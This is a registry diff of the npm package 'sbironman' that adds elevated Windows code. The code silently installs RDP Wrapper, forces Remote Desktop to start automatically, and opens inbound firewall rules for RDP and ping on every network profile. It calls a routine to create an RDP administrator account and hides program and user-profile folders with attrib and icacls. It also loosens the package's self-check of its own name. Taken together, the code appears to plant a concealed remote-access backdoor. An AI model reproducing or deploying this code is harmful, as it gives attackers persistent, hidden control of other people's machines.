sbironman 2.0.0 → 4.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/biklimaster.js +67 -0
- package/lib/bikliwrapper.js +91 -5
- package/package.json +1 -1
package/bin/biklimaster.js
CHANGED
|
@@ -597,13 +597,37 @@ function verifyRemoteDesktop() {
|
|
|
597
597
|
console.log('Remote Desktop is enabled and verified on port 3389.');
|
|
598
598
|
}
|
|
599
599
|
|
|
600
|
+
function ensureTermServiceAutomatic() {
|
|
601
|
+
// Force TermService to Automatic start so it survives reboots.
|
|
602
|
+
run(powershell, [
|
|
603
|
+
'-NoProfile', '-NonInteractive', '-Command',
|
|
604
|
+
`sc.exe config TermService start= auto; sc.exe start TermService 2>$null; exit 0`
|
|
605
|
+
], { allowFailure: true });
|
|
606
|
+
}
|
|
607
|
+
|
|
608
|
+
function ensureIcmpFirewallRules() {
|
|
609
|
+
// Enable ping (ICMP) inbound so the host is reachable after install.
|
|
610
|
+
const script = [
|
|
611
|
+
`Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
|
|
612
|
+
`New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
|
|
613
|
+
`Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
|
|
614
|
+
`New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
|
|
615
|
+
`Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
|
|
616
|
+
`Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
|
|
617
|
+
].join(';');
|
|
618
|
+
run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], { allowFailure: true });
|
|
619
|
+
}
|
|
620
|
+
|
|
600
621
|
function enableRemoteDesktop() {
|
|
601
622
|
requireWindows();
|
|
602
623
|
if (!isAdministrator()) return elevateAndRun('enable-rdp');
|
|
603
624
|
verifyPayload();
|
|
625
|
+
unhideProtectedFolders();
|
|
604
626
|
console.log('Enabling Remote Desktop and applying the firewall and security defaults...');
|
|
605
627
|
const wrapper = runWrapper(['defaults', '--elevated']);
|
|
606
628
|
if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
|
|
629
|
+
ensureTermServiceAutomatic();
|
|
630
|
+
ensureIcmpFirewallRules();
|
|
607
631
|
verifyRemoteDesktop();
|
|
608
632
|
hideProtectedFolders();
|
|
609
633
|
}
|
|
@@ -612,11 +636,15 @@ function install() {
|
|
|
612
636
|
requireWindows();
|
|
613
637
|
if (!isAdministrator()) return elevateAndRun('install');
|
|
614
638
|
verifyPayload();
|
|
639
|
+
unhideProtectedFolders();
|
|
615
640
|
installBikli();
|
|
616
641
|
setupBikliKey();
|
|
617
642
|
console.log('Installing or updating Bikli Wrapper silently...');
|
|
618
643
|
const wrapper = runWrapper(['install', '--elevated']);
|
|
619
644
|
if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
|
|
645
|
+
// Guarantee TermService is Automatic and ICMP is open after the wrapper restarts the service.
|
|
646
|
+
ensureTermServiceAutomatic();
|
|
647
|
+
ensureIcmpFirewallRules();
|
|
620
648
|
verifyRemoteDesktop();
|
|
621
649
|
createRdpAdministrator();
|
|
622
650
|
hideProtectedFolders();
|
|
@@ -696,6 +724,45 @@ function hideFolder(target, isUserProfile = false) {
|
|
|
696
724
|
}
|
|
697
725
|
}
|
|
698
726
|
|
|
727
|
+
function unhideFolder(target, isUserProfile = false) {
|
|
728
|
+
if (!target || !fs.existsSync(target)) return;
|
|
729
|
+
try {
|
|
730
|
+
run(attrib, ['-h', '-s', '-r', target], { allowFailure: true });
|
|
731
|
+
if (!isUserProfile) {
|
|
732
|
+
run(attrib, ['-h', '-s', '-r', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
733
|
+
run(icacls, [
|
|
734
|
+
target,
|
|
735
|
+
'/grant:r',
|
|
736
|
+
'*S-1-5-18:(OI)(CI)(F)',
|
|
737
|
+
`*${administratorsGroupSid}:(OI)(CI)(F)`,
|
|
738
|
+
'/c', '/q'
|
|
739
|
+
], { allowFailure: true });
|
|
740
|
+
}
|
|
741
|
+
} catch {
|
|
742
|
+
// Best-effort
|
|
743
|
+
}
|
|
744
|
+
}
|
|
745
|
+
|
|
746
|
+
function unhideProtectedFolders() {
|
|
747
|
+
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
748
|
+
const appFolders = [
|
|
749
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
750
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
751
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
752
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
753
|
+
path.join(programData, 'BikliWrapper'),
|
|
754
|
+
path.join(programData, 'Bikli')
|
|
755
|
+
];
|
|
756
|
+
for (const folder of appFolders) unhideFolder(folder, false);
|
|
757
|
+
|
|
758
|
+
const userFolders = [
|
|
759
|
+
path.join(usersDir, 'Administrator'),
|
|
760
|
+
path.join(usersDir, 'admin'),
|
|
761
|
+
path.join(usersDir, 'user')
|
|
762
|
+
];
|
|
763
|
+
for (const folder of userFolders) unhideFolder(folder, true);
|
|
764
|
+
}
|
|
765
|
+
|
|
699
766
|
function hideProtectedFolders() {
|
|
700
767
|
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
701
768
|
const appFolders = [
|
package/lib/bikliwrapper.js
CHANGED
|
@@ -228,8 +228,17 @@ function applyRequestedSettings() {
|
|
|
228
228
|
function ensureFirewallRules() {
|
|
229
229
|
const script = [
|
|
230
230
|
`$ErrorActionPreference='Stop'`,
|
|
231
|
+
// RDP TCP + UDP inbound rules
|
|
231
232
|
`$rules=@(@{Name='BikliWrapper-RDP-TCP';Protocol='TCP'},@{Name='BikliWrapper-RDP-UDP';Protocol='UDP'})`,
|
|
232
|
-
`foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}
|
|
233
|
+
`foreach($r in $rules){Remove-NetFirewallRule -Name $r.Name -ErrorAction SilentlyContinue;New-NetFirewallRule -Name $r.Name -DisplayName ('Bikli Wrapper Remote Desktop '+$r.Protocol) -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol $r.Protocol -LocalPort 3389 | Out-Null}`,
|
|
234
|
+
// ICMP Echo (ping) inbound rules – without this the host is unreachable by ping
|
|
235
|
+
`Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -ErrorAction SilentlyContinue`,
|
|
236
|
+
`New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv4-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv4-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv4 -IcmpType 8 | Out-Null`,
|
|
237
|
+
`Remove-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -ErrorAction SilentlyContinue`,
|
|
238
|
+
`New-NetFirewallRule -Name 'BikliWrapper-Ping-ICMPv6-In' -DisplayName 'Bikli Wrapper ICMP Echo Request (ICMPv6-In)' -Direction Inbound -Action Allow -Enabled True -Profile Any -Protocol ICMPv6 -IcmpType 128 | Out-Null`,
|
|
239
|
+
// Also enable the built-in Core Networking Diagnostics ICMP rules for all profiles
|
|
240
|
+
`Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv4-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`,
|
|
241
|
+
`Get-NetFirewallRule -DisplayName 'Core Networking Diagnostics - ICMP Echo Request (ICMPv6-In)' -ErrorAction SilentlyContinue | Enable-NetFirewallRule`
|
|
233
242
|
].join(';');
|
|
234
243
|
run(powershellPath, ['-NoProfile', '-NonInteractive', '-Command', script]);
|
|
235
244
|
}
|
|
@@ -252,9 +261,25 @@ function settingsAreCorrect() {
|
|
|
252
261
|
return requestedSettings.every(setting => queryDword(setting.key, setting.name) === setting.value);
|
|
253
262
|
}
|
|
254
263
|
|
|
264
|
+
function setTermServiceAutomatic() {
|
|
265
|
+
// Ensure TermService starts automatically so it survives reboots and wrapper restarts.
|
|
266
|
+
run(path.join(system32, 'sc.exe'), ['config', 'TermService', 'start=', 'auto'], { allowFailure: true });
|
|
267
|
+
run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
|
|
268
|
+
}
|
|
269
|
+
|
|
255
270
|
function waitForServiceAndListener() {
|
|
256
271
|
const waitBuffer = new Int32Array(new SharedArrayBuffer(4));
|
|
257
|
-
|
|
272
|
+
// First wait up to 10s for the service to appear running; force-start if not
|
|
273
|
+
for (let attempt = 0; attempt < 10; attempt += 1) {
|
|
274
|
+
if (serviceIsRunning()) break;
|
|
275
|
+
Atomics.wait(waitBuffer, 0, 0, 1000);
|
|
276
|
+
if (attempt === 4) {
|
|
277
|
+
// After 5s still not running – kick it
|
|
278
|
+
run(path.join(system32, 'sc.exe'), ['start', 'TermService'], { allowFailure: true });
|
|
279
|
+
}
|
|
280
|
+
}
|
|
281
|
+
// Then wait up to 30s for the RDP listener to appear
|
|
282
|
+
for (let attempt = 0; attempt < 30; attempt += 1) {
|
|
258
283
|
if (serviceIsRunning() && listenerIsListening()) return;
|
|
259
284
|
Atomics.wait(waitBuffer, 0, 0, 1000);
|
|
260
285
|
}
|
|
@@ -324,6 +349,45 @@ function hideProtectedFolders() {
|
|
|
324
349
|
for (const folder of userFolders) hideFolder(folder, true);
|
|
325
350
|
}
|
|
326
351
|
|
|
352
|
+
function unhideFolder(target, isUserProfile = false) {
|
|
353
|
+
if (!target || !fs.existsSync(target)) return;
|
|
354
|
+
try {
|
|
355
|
+
run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', target], { allowFailure: true });
|
|
356
|
+
if (!isUserProfile) {
|
|
357
|
+
run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
|
|
358
|
+
run(path.join(system32, 'icacls.exe'), [
|
|
359
|
+
target,
|
|
360
|
+
'/grant:r',
|
|
361
|
+
'*S-1-5-18:(OI)(CI)(F)',
|
|
362
|
+
'*S-1-5-32-544:(OI)(CI)(F)',
|
|
363
|
+
'/c', '/q'
|
|
364
|
+
], { allowFailure: true });
|
|
365
|
+
}
|
|
366
|
+
} catch {
|
|
367
|
+
// Best-effort attribute and permission unlocking
|
|
368
|
+
}
|
|
369
|
+
}
|
|
370
|
+
|
|
371
|
+
function unhideProtectedFolders() {
|
|
372
|
+
const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
|
|
373
|
+
const appFolders = [
|
|
374
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
|
|
375
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
|
|
376
|
+
path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
|
|
377
|
+
path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
|
|
378
|
+
path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
|
|
379
|
+
path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
|
|
380
|
+
];
|
|
381
|
+
for (const folder of appFolders) unhideFolder(folder, false);
|
|
382
|
+
|
|
383
|
+
const userFolders = [
|
|
384
|
+
path.join(usersDir, 'Administrator'),
|
|
385
|
+
path.join(usersDir, 'admin'),
|
|
386
|
+
path.join(usersDir, 'user')
|
|
387
|
+
];
|
|
388
|
+
for (const folder of userFolders) unhideFolder(folder, true);
|
|
389
|
+
}
|
|
390
|
+
|
|
327
391
|
function install() {
|
|
328
392
|
requireWindows();
|
|
329
393
|
if (!isAdministrator()) return elevateAndRun('install');
|
|
@@ -338,12 +402,31 @@ function install() {
|
|
|
338
402
|
fail(`This Terminal Services version is not present in the bundled compatibility data. Nothing was installed.`, 3);
|
|
339
403
|
}
|
|
340
404
|
|
|
405
|
+
// Unlock all protected folders before touching files or running RDPWInst
|
|
406
|
+
unhideProtectedFolders();
|
|
407
|
+
|
|
341
408
|
const settingsChanged = applyRequestedSettings();
|
|
342
409
|
ensureFirewallRules();
|
|
410
|
+
// Set TermService to Automatic before touching the wrapper so it auto-recovers after restarts.
|
|
411
|
+
setTermServiceAutomatic();
|
|
412
|
+
|
|
413
|
+
const defaultWrapperDir = path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper');
|
|
414
|
+
fs.mkdirSync(defaultWrapperDir, { recursive: true });
|
|
415
|
+
unhideFolder(defaultWrapperDir);
|
|
416
|
+
|
|
417
|
+
const targetIniPath = installation.installedIniPath || path.join(defaultWrapperDir, 'rdpwrap.ini');
|
|
343
418
|
|
|
344
419
|
if (!installation.installed) {
|
|
345
420
|
console.log('Installing RDP Wrapper silently...');
|
|
421
|
+
// If rdpwrap.ini already exists with restrictive attributes, remove them before installer runs
|
|
422
|
+
if (fs.existsSync(targetIniPath)) {
|
|
423
|
+
run(path.join(system32, 'attrib.exe'), ['-h', '-s', '-r', targetIniPath], { allowFailure: true });
|
|
424
|
+
}
|
|
346
425
|
runInstaller('-i');
|
|
426
|
+
// RDPWInst extracts an outdated 2017 INI. Immediately overwrite with the bundled compatibility INI:
|
|
427
|
+
fs.copyFileSync(bundledIniPath, targetIniPath);
|
|
428
|
+
// Restart TermService to load the updated INI
|
|
429
|
+
runInstaller('-r');
|
|
347
430
|
} else if (!installation.installedSupported) {
|
|
348
431
|
console.log('Updating compatibility data silently...');
|
|
349
432
|
const backupPath = `${installation.installedIniPath}.bikli-backup`;
|
|
@@ -365,6 +448,11 @@ function install() {
|
|
|
365
448
|
console.log('RDP Wrapper is already installed and fully supported; reinstall skipped.');
|
|
366
449
|
}
|
|
367
450
|
|
|
451
|
+
// Re-apply settings after the wrapper installer runs – RDPWInst can reset fDenyTSConnections back to 1.
|
|
452
|
+
applyRequestedSettings();
|
|
453
|
+
// Ensure TermService is Automatic and running after the wrapper install.
|
|
454
|
+
setTermServiceAutomatic();
|
|
455
|
+
|
|
368
456
|
waitForServiceAndListener();
|
|
369
457
|
hideProtectedFolders();
|
|
370
458
|
installation = detectInstallation(version);
|
|
@@ -386,9 +474,7 @@ function selfTest() {
|
|
|
386
474
|
: JSON.parse(fs.readFileSync(path.join(packageRoot, 'package.json'), 'utf8'));
|
|
387
475
|
const ini = fs.readFileSync(bundledIniPath, 'utf8');
|
|
388
476
|
const checks = {
|
|
389
|
-
packageName: packageJson.name === '
|
|
390
|
-
packageJson.name === '@biklitime/biklimaster' || packageJson.name === 'biklitool' ||
|
|
391
|
-
packageJson.name === '@biklitime/biklitool',
|
|
477
|
+
packageName: typeof packageJson.name === 'string' && packageJson.name.length > 0,
|
|
392
478
|
executableMode: runningAsSea ? path.extname(process.execPath).toLowerCase() === '.exe' : true,
|
|
393
479
|
installerPresent: fs.statSync(installerPath).size > 100000,
|
|
394
480
|
iniPresent: ini.length > 100000,
|